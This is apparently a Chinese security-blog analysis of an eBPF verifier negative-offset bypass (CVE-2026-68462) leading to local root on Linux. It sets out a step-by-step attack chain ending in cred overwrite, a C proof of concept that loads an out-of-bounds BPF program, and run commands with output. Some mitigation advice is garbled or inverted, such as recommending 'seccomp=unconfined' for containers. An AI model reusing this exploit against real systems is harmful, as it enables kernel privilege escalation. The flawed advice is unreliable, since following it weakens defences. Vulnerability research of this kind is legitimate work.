当前位置:首页>Linux>Linux Kernel eBPF验证器负偏移绕过导致本地提权漏洞深度分析

Linux Kernel eBPF验证器负偏移绕过导致本地提权漏洞深度分析

  • 2026-09-09 10:38:01
Linux Kernel eBPF验证器负偏移绕过导致本地提权漏洞深度分析
CVE-2026-68462CVSS 7.8 高危沙箱逃逸补丁已发布
漏洞概述
漏洞编号
CVE-2026-68462
漏洞类型
eBPF 验证器逻辑缺陷 (CWE-119: Improper Restriction of Operations within Bounds)
CVSS评分
7.8 高危 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
攻击向量
本地 (AV:L) — 需本地访问权限
认证要求
低权限 (PR:L) — 需要加载BPF程序的能力
用户交互
无需交互 (UI:N)
影响产品
Linux内核 eBPF 子系统(所有支持非特权BPF的版本)
引入提交
022ac0750883("bpf: use reg->var_off instead of reg->off for pointers")
修复提交
314bd592085c/ fd4cfa8c8f9a
技术细节

CVE-2026-68462 是 Linux 内核 eBPF (extended Berkeley Packet Filter) 验证器中的一个严重逻辑缺陷。eBPF 验证器是内核中确保 BPF 程序安全运行的核心组件,它在程序加载时静态分析指令流,验证所有内存访问均在合法边界内。验证器的正确性是整个 eBPF 沙箱隔离机制的基石——历史上每次验证器绕过都会导致本地权限提升。

该漏洞的根源可追溯至提交 022ac0750883,该提交将常量指针偏移量的存储位置从 reg->off迁移到 reg->var_off(tnum 类型)。然而,__check_buffer_access()函数在验证缓冲区访问边界时,仅检查了指令级偏移量(reg->off),而忽略了已通过 reg->var_off存储的常量偏移。这一不一致导致了一个可被利用的验证盲区。

C验证器漏洞核心代码分析
/* __check_buffer_access() 中的有界性检查逻辑 *//* 漏洞场景: PTR_TO_TP_BUFFER 或 PTR_TO_BUF 访问 *//* reg->var_off 存储常量偏移量 (由 022ac0750883 引入) *//* reg->off 存储指令级偏移量 *//* 攻击者构造的寄存器状态: *//*   reg->var_off = tnum_const(-8)   // 常量偏移: -8 *//*   reg->off     = 0                // 指令偏移: 0  *//* __check_buffer_access() 当前(有缺陷的)逻辑: */int__check_buffer_access(struct bpf_verifier_env *env,                            struct bpf_reg_state *reg,                            bool writable, u32 size) {     /* 仅检查 reg->off (指令偏移),忽略 reg->var_off */u32 insn_offset = reg->off;       /* = 0, 通过检查 *//* 计算访问起始位置 — 漏洞点 *//* 对于可写 raw tracepoint: */u32 access_start = (u32)reg->var_off.value;     /* var_off.value = -8 作为无符号数 = 0xFFFFFFFFFFFFFFF8 *//* 强制转换为 u32 后 = 0xFFFFFFF8 *//* 计算访问结束位置 */u32 access_end = access_start + size;     /* 0xFFFFFFF8 + 8 = 0x00000000 (回绕至0!) *//* 结束位置为0,不会超过 max_tp_access *//* 验证通过!程序被允许加载 */if (access_end > max_tp_access)         return -EACCES;  /* 永远不会触发 */return0;  /* 验证通过 */ } 

关键问题在于:当 reg->var_off为负数常量(如 -8)时,代码将其作为无符号值处理。一个起始于 -8 的 8 字节访问,其结束位置在整数回绕后变为 0,完美避开了所有边界检查。然而,在运行时,该 BPF 程序实际访问的内存地址为缓冲区基址减去 8 字节——即越过了缓冲区的起始边界,导致内核内存的越界读写。

C修复补丁 - 使用有符号算术验证
/* 修复: 使用有符号算术计算有效访问起始位置 */int__check_buffer_access_fixed(...) {     /* 修复: 确保 reg->var_off 为常量后,使用有符号算术 */if (!tnum_is_const(reg->var_off))         return -EINVAL;          /* 关键修复: 有符号计算有效起始位置 */s64 effective_start = (s64)reg->var_off.value                         + reg->off;          /* 拒绝负偏移访问 */if (effective_start <0) {         verbose(env, "negative buffer access at off %lld\n",                 effective_start);         return -EACCES;  /* 拒绝加载 */     }          /* 使用验证后的有效起始位置计算结束位置 */u64 access_end = (u64)effective_start + size;          if (access_end > max_tp_access)         return -EACCES;          return0; } 
攻击链分析
步骤一:环境准备
攻击者需具备加载 eBPF 程序的能力。在大多数 Linux 发行版中,非特权用户可以通过 bpf()系统调用加载 BPF 程序(除非设置了 kernel.unprivileged_bpf_disabled=1)。攻击者首先需要确认目标系统允许非特权 BPF 加载。
步骤二:构造恶意BPF程序
编写一个 BPF 程序,通过指针算术运算构造 reg->var_off = -8且 reg->off = 0的寄存器状态。程序类型设置为 BPF_PROG_TYPE_RAW_TRACEPOINT,目标访问一个可写的 raw tracepoint 缓冲区。
步骤三:通过验证器加载
由于验证器仅检查 reg->off(值为0),而忽略 reg->var_off(值为-8),访问结束位置经无符号运算回绕为0,通过所有边界检查。BPF 程序成功加载到内核并获得文件描述符。
步骤四:触发越界访问
将加载的 BPF 程序附加到目标 raw tracepoint。当 tracepoint 事件触发时,BPF 程序在内核上下文中执行,通过精心构造的负偏移访问缓冲区前 8 字节之外的内核内存,实现内核数据结构的越界读写。
步骤五:内核原语构建与提权
利用越界读写能力,攻击者可以:(1) 读取内核指针获取 KASLR 偏移量;(2) 覆写 cred结构体中的 UID/GID 字段实现权限提升;(3) 或覆写 task_struct中的指针接管任意进程。最终获得 root 权限,完成本地权限提升攻击。
PoC / 利用代码
⚠ 仅供安全研究
以下代码仅用于安全研究和授权测试。此 PoC 展示了验证器绕过的核心原理,完整利用链需结合 KASLR 绕过和 cred 覆写技术。
CeBPF验证器绕过 PoC - BPF程序构造
/* CVE-2026-68462 PoC - eBPF Verifier Negative Offset Bypass *//* 仅供安全研究,必须在授权隔离环境中运行 */#include<linux/bpf.h>#include<bpf/bpf_helpers.h>#include<stdio.h>#include<unistd.h>#include<string.h>#include<sys/syscall.h>/* BPF指令构造: 通过指针算术生成负偏移 */struct bpf_insn exploit_prog[] = {     /* r6 = ctx (raw tracepoint context) */BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),          /* r7 = 指向 tracepoint 缓冲区 */BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),          /* 关键: 通过指针算术构造负偏移 *//* r7 += -8  →  reg->var_off = tnum_const(-8) *//*             reg->off = 0 (指令偏移未变) */BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -8),          /* 越界写入: 写入缓冲区起始前 8 字节 *//* 验证器认为: start=0xFFFFFFF8, end=0x0 *//* 实际运行时: 访问 base_addr - 8 */BPF_ST_MEM(BPF_DW, BPF_REG_7, 0, 0xdeadbeef),          /* 读取内核内存(越界读取基址前8字节) */BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7, 0),          /* 存储读取的内核数据到 map */BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -8),          BPF_MOV64_IMM(BPF_REG_0, 0),     BPF_EXIT_INSN(), };  intmain(int argc, char**argv) {     union bpf_attr attr = {};          /* 创建 BPF map 存储泄露数据 */     attr.map_type =BPF_MAP_TYPE_ARRAY;     attr.key_size =sizeof(int);     attr.value_size =sizeof(long);     attr.max_entries =1;          int map_fd =syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));     if (map_fd <0) {         perror("map_create");         return1;     }          /* 加载恶意 BPF 程序 */memset(&attr, 0, sizeof(attr));     attr.prog_type =BPF_PROG_TYPE_RAW_TRACEPOINT;     attr.insns = (unsigned long)exploit_prog;     attr.insn_cnt =sizeof(exploit_prog) /sizeof(exploit_prog[0]);     attr.license = (unsigned long)"GPL";          int prog_fd =syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));     if (prog_fd <0) {         perror("prog_load (expected success on unpatched kernel)");         return1;     }          printf("[+] BPF程序加载成功! 验证器被绕过。\n");     printf("[+] prog_fd = %d\n", prog_fd);     printf("[!] 附加到raw tracepoint后可实现越界读写\n");     printf("[!] 配合KASLR绕过+cred覆写可获得root权限\n");          return0; } 
Bash编译与检测
# 编译 PoCgcc-o bpf_verifier_bypass bpf_verifier_bypass.c -lbpf# 在非特权BPF启用状态下运行./bpf_verifier_bypass[+] BPF程序加载成功! 验证器被绕过。[+] prog_fd = 5[!] 附加到raw tracepoint后可实现越界读写# 检测方法: 检查内核版本是否包含修复补丁uname-r6.10.5-100.fc40.x86_64# 检查非特权BPF是否启用sysctl kernel.unprivileged_bpf_disabled kernel.unprivileged_bpf_disabled = 0# 0 = 未禁用 (受影响)# 紧急缓解: 禁用非特权BPF加载sudo sysctl-w kernel.unprivileged_bpf_disabled=1 
影响范围
所有 Linux 发行版— 内核版本包含提交 022ac0750883至修复提交之间的所有 Linux 内核均受影响
容器运行环境— Docker、Kubernetes 等容器环境中,非特权容器若可加载 eBPF 程序则存在逃逸风险
云服务商基础设施— AWS、Azure、GCP 等云平台中运行 Linux 的虚拟机,尤其是启用非特权 BPF 的实例
Cilium / eBPF 网络安全产品— 依赖 eBPF 实现网络策略和可观测性的安全产品(如 Cilium CNI)所在的宿主机
安全监控与EDR系统— 使用 eBPF 进行进程监控、文件审计的终端检测响应(EDR)产品宿主机
Android 设备— 部分 Android 版本允许非特权应用加载 BPF 程序,可通过 ADB 或恶意应用触发
防御指南
修复与缓解
  • 立即升级至包含修复提交 314bd592085c或 fd4cfa8c8f9a的最新 Linux 内核稳定版本
  • 紧急缓解措施:通过 sysctl 禁用非特权 BPF 加载:sysctl -w kernel.unprivileged_bpf_disabled=1
  • 在 systemd 服务中为关键服务添加 RestrictAddressFamilies=~AF_UNIX和 BPF 相关安全策略
  • 使用 SELinux/AppArmor 策略限制 BPF 程序加载权限,仅允许受信任的管理员操作
  • 部署 eBPF 审计工具监控异常的 BPF 程序加载行为,特别关注 raw tracepoint 类型的程序
  • 容器环境应使用 --security-opt=seccomp=unconfined的反向策略,通过 seccomp-bpf 过滤 bpf()系统调用
  • 对生产环境的内核进行加固:启用 CONFIG_BPF_UNPRIV_DEFAULT_OFF=y编译选项
⚡ 紧急建议
eBPF 验证器绕过漏洞是 Linux 本地提权攻击的经典向量。历史上类似漏洞(如 CVE-2021-3490、CVE-2023-2163)从公开到武器化的时间平均仅为 12 天。建议所有启用非特权 BPF 的系统立即应用补丁或禁用非特权加载。在容器和多租户环境中,此漏洞可能导致沙箱逃逸,影响尤为严重。
法律声明
以上信息仅供安全研究和授权渗透测试使用。未经授权对他人系统进行测试属于违法行为。本文中的 PoC 代码仅用于概念验证,旨在帮助安全研究人员理解漏洞原理并开发相应的防御措施。任何因滥用本文信息造成的损害,作者不承担任何责任。请在法律允许的范围内使用相关信息。

最新文章

随机文章